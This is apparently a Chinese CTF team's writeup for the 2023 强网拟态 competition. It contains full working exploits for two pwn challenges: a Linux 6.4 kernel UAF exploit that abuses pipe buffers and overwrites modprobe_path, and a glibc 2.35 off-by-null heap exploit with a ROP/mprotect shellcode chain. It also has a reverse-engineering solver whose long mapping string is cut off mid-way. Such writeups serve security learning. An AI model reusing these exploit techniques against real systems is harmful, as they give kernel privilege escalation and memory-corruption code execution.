强网拟态2023 Writeup --Polaris

admin 2024年2月14日01:20:44评论6 views字数 31667阅读105分33秒阅读模式

本次强网拟态2023,我们Polaris战队排名第12。


01


PWN



1.

water-ker

有一次UAF的机会

    case 0x30u:      if ( !copy_from_user(&a4, v4, 8LL) )      {        if ( delete_idx <= 0 && chunk )        {          kfree(chunk);          ++delete_idx;        }        return 0LL;      }      return -22LL;

UAF后可以有一次修改1个字节的机会

    case 0x50u:      if ( !copy_from_user(&a4, v4, 8LL) )      {        if ( edit_idx <= 0 && chunk && !copy_from_user(chunk, a4.buf, 1LL) )        {          ++edit_idx;          return 0LL;        }        return 0LL;      }      return -22LL;

内核版本 6.4.0


free_list指针在slab块中间位置(0x100的位置)

并且free_list开启了指针异或

没有开启Harden_free_list

slab的kmalloc和kfree可以预测。


参考自 

https://arttnba3.cn/2023/05/02/CTF-0X08_D3CTF2023_D3KCACHE/

#define _GNU_SOURCE#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <fcntl.h>#include <sys/ioctl.h>
#define F_SETPIPE_SZ  1031
#define ALLOC 0x20#define DELETE 0x30#define EDIT 0x50
struct Args{    char *buf;};
int print_hex(void *p, int size){    int i;    unsigned char *buf = (unsigned char *)p;        if(size % sizeof(void *))    {        return 1;    }    printf("--------------------------------------------------------------------------------n");    for (i = 0; i < size; i += sizeof(void *))    {        printf("0x%04x :  %02X %02X %02X %02X %02X %02X %02X %02X     0x%lxn",                i, buf[i+0], buf[i+1], buf[i+2], buf[i+3], buf[i+4], buf[i+5], buf[i+6], buf[i+7], *(unsigned long*)&buf[i]);    }    return 0;}
#define PIPE_LENGTH 200int pipe_list[PIPE_LENGTH][2];int pipe_list2[PIPE_LENGTH][2];
/* Get real address */#define REAL(addr) (kernel_base_addr - 0xffffffff81000000 + (addr))
void exp_modprobe_path_flag(){    int exp_fd;    char *child_args[] = {"/tmp/err", NULL};    char buf[0x100] = {0};
   exp_fd = open("/tmp/x", O_WRONLY | O_CREAT | O_NOCTTY | O_NONBLOCK, 0755);    write(exp_fd, "#!/bin/shn"                  "chmod 644 /flagn",          26);    close(exp_fd);
   exp_fd = open("/tmp/err", O_WRONLY | O_CREAT | O_NOCTTY | O_NONBLOCK, 0755);    write(exp_fd, "", 4);    close(exp_fd);
   execve(child_args[0], child_args, child_args + 1);
   exp_fd = open("/flag", O_RDONLY);    if (exp_fd == -1)    {        perror("open");        exit(EXIT_FAILURE);    }    read(exp_fd, buf, sizeof(buf));    puts(buf);}
int main(){    int fd;    char buf[0x100];    int pipe_fd[2];    struct Args arg;    int i;    int target_index, target_index2;    char buf2[0x1000];    size_t slab_addr;    size_t page_offset_base = 0xffff888000000000, vmemmap_base = 0xffffea0000000000;    size_t task, kernel_base_addr = 0xffffffff81000000;        puts("Start");        fd = open("/dev/water", O_RDWR);    if(fd == -1)    {        perror("open");        exit(EXIT_FAILURE);    }
   memset(buf, 0, sizeof(buf));    arg.buf = buf;    ioctl(fd, ALLOC, &arg);
   for(i = 0; i < PIPE_LENGTH; i++)    {        if(pipe(pipe_list[i]) == -1)        {            perror("pipe");            exit(EXIT_FAILURE);        }    }    for(i = 0; i < PIPE_LENGTH; i++)    {        memset(buf, 'b', sizeof(buf));        *(int*)buf = i;        if(write(pipe_list[i][1], buf, sizeof(buf)) == -1)        {            perror("write");            exit(EXIT_FAILURE);        }    }
   memset(buf, 0, sizeof(buf));    arg.buf = buf;    ioctl(fd, DELETE, &arg);
   if(pipe(pipe_fd) == -1)    {        perror("pipe");        exit(EXIT_FAILURE);    }    if(fcntl(pipe_fd[1], F_SETPIPE_SZ, 0x1000 * 8) == -1)    {        perror("pipe");        exit(EXIT_FAILURE);    }    memset(buf, 0, sizeof(buf));    if(write(pipe_fd[1], buf, sizeof(buf)) == -1)    {        perror("write");        exit(EXIT_FAILURE);    }
   puts("AA");
   memset(buf, 0, sizeof(buf));    arg.buf = buf;    buf[0] = 0x80;    ioctl(fd, EDIT, &arg);
   memset(buf, 0, sizeof(buf));    if(read(pipe_fd[0], buf, sizeof(buf)) == -1)    {        perror("read");        exit(EXIT_FAILURE);    }    print_hex(buf, sizeof(buf));    target_index = *(int*)buf;    if(!target_index)    {        exit(EXIT_FAILURE);    }    if(close(pipe_list[target_index][0]) == -1)    {        perror("close");        exit(EXIT_FAILURE);    }    if(close(pipe_list[target_index][1]) == -1)    {        perror("close");        exit(EXIT_FAILURE);    }
   memset(buf2, 0, sizeof(buf2));    if(write(pipe_fd[1], buf2, sizeof(buf2)) == -1)    {        perror("write");        exit(EXIT_FAILURE);    }
   for(i = 0; i < PIPE_LENGTH; i++)    {        if(pipe(pipe_list2[i]) == -1)        {            perror("pipe");            exit(EXIT_FAILURE);        }    }
   memset(buf2, 0, sizeof(buf2));    if(read(pipe_fd[0], buf2, sizeof(buf2)) == -1)    {        perror("read");        exit(EXIT_FAILURE);    }    print_hex(buf2, 0x100);    slab_addr = *(size_t*)(buf2 + 0x58)-0x58;    printf("slab_addr: 0x%lxn", slab_addr);    page_offset_base = slab_addr & 0xfffffffff0000000;    printf("page_offset_base: 0x%lxn", page_offset_base);    kernel_base_addr = *(size_t*)(buf2+0x28) - 0x1246d20;    printf("kernel_base_addr: 0x%lxn", kernel_base_addr);
   for(i = 0; i < PIPE_LENGTH; i++)    {        if(close(pipe_list2[i][0]) == -1)        {            perror("close");            exit(EXIT_FAILURE);        }        if(close(pipe_list2[i][1]) == -1)        {            perror("close");            exit(EXIT_FAILURE);        }    }
   memset(buf2, 0, sizeof(buf2));    if(write(pipe_fd[1], buf2, sizeof(buf2)) == -1)    {        perror("write");        exit(EXIT_FAILURE);    }    for(i = 0; i < PIPE_LENGTH; i++)    {        if(i != target_index)        {            if(fcntl(pipe_list[i][1], F_SETPIPE_SZ, 0x1000 * 8) == -1)            {                perror("pipe");                exit(EXIT_FAILURE);            }        }    }    memset(buf2, 0, sizeof(buf2));    if(read(pipe_fd[0], buf2, sizeof(buf2)) == -1)    {        perror("read");        exit(EXIT_FAILURE);    }    print_hex(buf2, 0x100);    vmemmap_base = *(size_t*)(buf2+0) & 0xfffffffff0000000;    printf("vmemmap_base: 0x%lxn", vmemmap_base);
   // memset(buf, 0, sizeof(buf));    *(size_t*)(buf2+0) = slab_addr + 0x80;    if(write(pipe_fd[1], buf2, sizeof(buf2)) == -1)    {        perror("write");        exit(EXIT_FAILURE);    }
   for(i = 0; i < PIPE_LENGTH; i++)    {        if(i != target_index)        {            memset(buf, 0, sizeof(buf));            if(read(pipe_list[i][0], buf, sizeof(buf)) == -1)            {                perror("read");                exit(EXIT_FAILURE);            }            if(*(size_t *)(buf+8) != 0x6262626262626262)            {                target_index2 = i;                printf("target_index2: %dn", target_index2);                break;            }        }    }    memset(buf2, 0, sizeof(buf2));    if(write(pipe_list[target_index2][1], buf2, 0xce0) == -1)    {        perror("read");        exit(EXIT_FAILURE);    }
   memset(buf2, 0, sizeof(buf2));    if(read(pipe_fd[0], buf2, sizeof(buf2)) == -1)    {        perror("read");        exit(EXIT_FAILURE);    }

   *(size_t*)(buf2+0) = vmemmap_base + (((REAL(0xffffffff831d8ce0) & (~0xfff)) - page_offset_base) / 0x1000) * 0x40;    *(int*)(buf2+0xc) = 0xce0;    if(write(pipe_fd[1], buf2, sizeof(buf2)) == -1)    {        perror("write");        exit(EXIT_FAILURE);    }
   puts("BB");    getchar();
   memset(buf2, 0, sizeof(buf2));    strcpy(buf2, "/tmp/x");    if(write(pipe_list[target_index2][1], buf2, 0x10) == -1)    {        perror("read");        exit(EXIT_FAILURE);    }
   exp_modprobe_path_flag();
   puts("CC");    getchar();    close(fd);
   puts("End");    return 0;}

2.

noob_heap

一道利用比较刁钻的题目

libc-2.35-4,四功能齐全

漏洞点存在于 edit 功能的 off by null

强网拟态2023 Writeup --Polaris

而这道题的难点在于 add 功能只能创建最大 0x78 大小的堆块

强网拟态2023 Writeup --Polaris

这让我们很难通过 off by null 漏洞进行任何利用

不过在 read_int 函数

强网拟态2023 Writeup --Polaris
强网拟态2023 Writeup --Polaris

可以看到调用 scanf 函数,这样我们可以利用 scanf 函数的特性去分配出

 small bin , large bin ,unsorted bin


当堆中存在了这些 bin ,那么我们就可以利用 off by null 来进行堆块重叠


在这道题目中,由于 add 功能并不会进行堆块的写操作,因此配合 show 功能我们可以很容易获取内存信息,如 heap_base,这样就相当于解决了 unlink 中的链表检测


之后就需要构造巧妙的堆分水,来进行 chunk overflow


由于这一道题目无法直接对大堆块进行 free,所以我们需要大概构造如下的堆布局

强网拟态2023 Writeup --Polaris

之后,我们把上述共计 14 个 0x78 chunk 都 free

再通过 scanf 分配大堆块来触发 fast bin 的合并

这样,就会变成如下堆布局

强网拟态2023 Writeup --Polaris

之后再申请回来,构造如下布局

强网拟态2023 Writeup --Polaris

接着继续 free 堆块,形成如下布局

强网拟态2023 Writeup --Polaris
强网拟态2023 Writeup --Polaris

同时利用 0x100 unsorted bin 上面的堆块 chunkA,配合 off by null 修改 0x100 unsorted bin 的 prev size 和 size,同时伪造好 fd 和 bk


接着继续利用 scanf 分配大堆块,触发堆块合并,就完成了堆块重叠,形成如下布局

强网拟态2023 Writeup --Polaris

可以发现 chunkA 被合并,当然到这里还不是结束,因为我们无法把 chunkA 申请出来,如果我们一直申请的话,那么显然的,会形成如下布局

强网拟态2023 Writeup --Polaris
强网拟态2023 Writeup --Polaris

然后就无法继续切割 small bin 了,这是因为 small bin 下面的 0x78 chunk 的 p 位是 1,导致 malloc 函数申请堆块时候的检测无法通过


所以,我们需要继续利用这种方法进行堆块重叠,构造如下布局

强网拟态2023 Writeup --Polaris
强网拟态2023 Writeup --Polaris

接着利用 chunk B 配合 off by null 修改 0x181 small bin 的 prev size 和 size,同时伪造好 fd 和 bk


接着继续利用 scanf 分配大堆块,触发堆块合并,再次完成了堆块重叠,这样,就可以把 chunkB 给合并,并且可以把 chunk B 申请出来,实现 UAF


之后就是通过打 tcache struct ,打栈 orw

EXP

from pwn import *from struct import packfrom ctypes import *import base64from subprocess import run#from LibcSearcher import *from struct import packimport tty
def debug(c = 0):    if(c):        gdb.attach(p, c)    else:        gdb.attach(p)        pause()def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/shx00'))#-----------------------------------------------------------------------------------------s = lambda data : p.send(data)sa  = lambda text,data  :p.sendafter(text, data)sl  = lambda data   :p.sendline(data)sla = lambda text,data  :p.sendlineafter(text, data)r   = lambda num=4096   :p.recv(num)rl  = lambda text   :p.recvuntil(text)pr = lambda num=4096 :print(p.recv(num))inter   = lambda        :p.interactive()l32 = lambda    :u32(p.recvuntil(b'xf7')[-4:].ljust(4,b'x00'))l64 = lambda    :u64(p.recvuntil(b'x7f')[-6:].ljust(8,b'x00'))uu32    = lambda    :u32(p.recv(4).ljust(4,b'x00'))uu64    = lambda    :u64(p.recv(6).ljust(8,b'x00'))int16   = lambda data   :int(data,16)lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))#-----------------------------------------------------------------------------------------
context(os='linux', arch='amd64', log_level='debug')#p = remote("pwn-118cefd3bd.challenge.xctf.org.cn", 9999, ssl=True)p = process('./pwn')elf = ELF('./pwn')libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def add(size):  sla(b'>> ', b'1')  sla(b'Size: ', str(size))def free(idx):  sla(b'>> ', b'2')  sla(b'Index: ', str(idx))def edit(idx, data):  sla(b'>> ', b'3')  sla(b'Index: ', str(idx))  sa(b'Note: ', data)def show(idx):  sla(b'>> ', b'4')  sla(b'Index: ', str(idx))
def get_big(size):  sla(b'>> ', b'1'*size)
add(0x78) #index 0free(0)add(0x78) #index 0show(0)key = u64(p.recv(5).ljust(0x8, b'x00'))heap_base = key << 12

for i in range(0x6):  add(0x78) #index 1 ~ 6
for i in range(18):  add(0x78) #index 7 ~ 24
for i in range(7):  free(i) #index 0 ~ 6
for i in range(9):  free(i + 7) #index 7 ~ 15
get_big(0x500)for i in range(7):  add(0x78) #index 0 ~ 6
add(0x78) #index 7show(7)libc_base = l64() - 0x21a0f0
for i in range(6):  add(0x78) #index 8 ~ 14

for i in range(7):  free(i)#for i in range(7):#  free(i + 16)
edit(13, p64((heap_base + 0x910))*2 + b'x00'*0x60 + p64(0x80))free(12)free(11)
get_big(0x500)
edit(10, p64((heap_base + 0x790))*2 + b'x00'*0x60 + p64(0x80))free(9)
get_big(0x500)
for i in range(7):  add(0x78) #index 0 ~ 6
environ = libc_base + libc.sym['__environ']
add(0x78) #index 11add(0x78) #index 12add(0x78) #index 14add(0x78) #index 14 -> index 10free(0)free(10)edit(14, p64((heap_base + 0x50) ^ key))add(0x78) add(0x78) #index 10
free(2)
pl = b'x00x00'*0x20 + p64(0)*6 + p64(environ)edit(10, pl)add(0x78)show(2)stack = l64()
free(3)pl = b'x00x00'*0x20 + p64(0)*6 + p64(stack - 0x148)edit(10, pl)
add(0x78)
ret = libc_base + 0x29139rdi = libc_base + 0x2a3e5rsi = libc_base + 0x2be51rdx = libc_base + 0x796a2mprotect = libc_base + libc.sym['__mprotect']
#debug('b *$rebase(0x17c9)')
sc = 'push rsp; pop rsi; xor rdi, rdi; push 0x1000; pop rdx; xor rax, rax; syscall'
pl = p64(0)*3pl += p64(rdi) + p64((stack >> 12) << 12) + p64(rsi) + p64(0x1000) + p64(rdx) + p64(7)pl += p64(mprotect) + p64(stack - 0x148 + 0x58)pl += asm(sc)
edit(3, pl)
sleep(1)pl = b'a'*0x10 + asm(shellcraft.cat('/flag'))s(pl)
lg('stack', stack)lg('libc_base', libc_base)lg('heap_base', heap_base)lg('key', key)#debug()
while 1 : pr()
pause()

02

RE



1.

fisher

绕过反调试后(反调试有很多 需要Patch)

发现程序的逻辑是换表

每两个为一组 映射为对应的两个字符

调试取出对应的字符即可

enc="N17EHf1DWHD40DWH/f79E05EfIH1E179E1"
# all = "ghijklpqrstuvwxyzABCabcDEFdef0123GHI4567JKL+/MNOmnoPQRSXYZ8TUVW9"# for i in all:#     for j in all:#         if(i!=j):#             print(i+j,end='')            cin="agahaiajakalapaqarasatauavawaxayazaAaBaCabacaDaEaFadaeafa0a1a2a3aGaHaIa4a5a6a7aJaKaLa+a/aMaNaOamanaoaPaQaRaSaXaYaZa8aTaUaVaWa9ghgigjgkglgpgqgrgsgtgugvgwgxgygzgAgBgCgagbgcgDgEgFgdgegfg0g1g2g3gGgHgIg4g5g6g7gJgKgLg+g/gMgNgOgmgngogPgQgRgSgXgYgZg8gTgUgVgWg9hghihjhkhlhphqhrhshthuhvhwhxhyhzhAhBhChahbhchDhEhFhdhehfh0h1h2h3hGhHhIh4h5h6h7hJhKhLh+h/hMhNhOhmhnhohPhQhRhShXhYhZh8hThUhVhWh9igihijikilipiqirisitiuiviwixiyiziAiBiCiaibiciDiEiFidieifi0i1i2i3iGiHiIi4i5i6i7iJiKiLi+i/iMiNiOiminioiPiQiRiSiXiYiZi8iTiUiViWi9jgjhjijkjljpjqjrjsjtjujvjwjxjyjzjAjBjCjajbjcjDjEjFjdjejfj0j1j2j3jGjHjIj4j5j6j7jJjKjLj+j/jMjNjOjmjnjojPjQjRjSjXjYjZj8jTjUjVjWj9kgkhkikjklkpkqkrksktkukvkwkxkykzkAkBkCkakbkckDkEkFkdkekfk0k1k2k3kGkHkIk4k5k6k7kJkKkLk+k/kMkNkOkmknkokPkQkRkSkXkYkZk8kTkUkVkWk9lglhliljlklplqlrlsltlulvlwlxlylzlAlBlClalblclDlElFldlelfl0l1l2l3lGlHlIl4l5l6l7lJlKlLl+l/lMlNlOlmlnlolPlQlRlSlXlYlZl8lTlUlVlWl9pgphpipjpkplpqprpsptpupvpwpxpypzpApBpCpapbpcpDpEpFpdpepfp0p1p2p3pGpHpIp4p5p6p7pJpKpLp+p/pMpNpOpmpnpopPpQpRpSpXpYpZp8pTpUpVpWp9qgqhqiqjqkqlqpqrqsqtquqvqwqxqyqzqAqBqCqaqbqcqDqEqFqdqeqfq0q1q2q3qGqHqIq4q5q6q7qJqKqLq+q/qMqNqOqmqnqoqPqQqRqSqXqYqZq8qTqUqVqWq9rgrhrirjrkrlrprqrsrtrurvrwrxryrzrArBrCrarbrcrDrErFrdrerfr0r1r2r3rG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"out="zkAkBkCkfvbkckDkzvAvBvCvfabvcvDvbAbBbCbabcbDbzzfAfBfCff4bfcfDfz4A4B4C4f/b4c4D4z/A/B/C/fQb/c/D/zQAQBQCQfUbQcQDQzUAUBUCUfkbUcUDUhihjhkhlhphqhgrzhrirjrkrlrprqrrEhzizjzkzlzpzqzr3hEi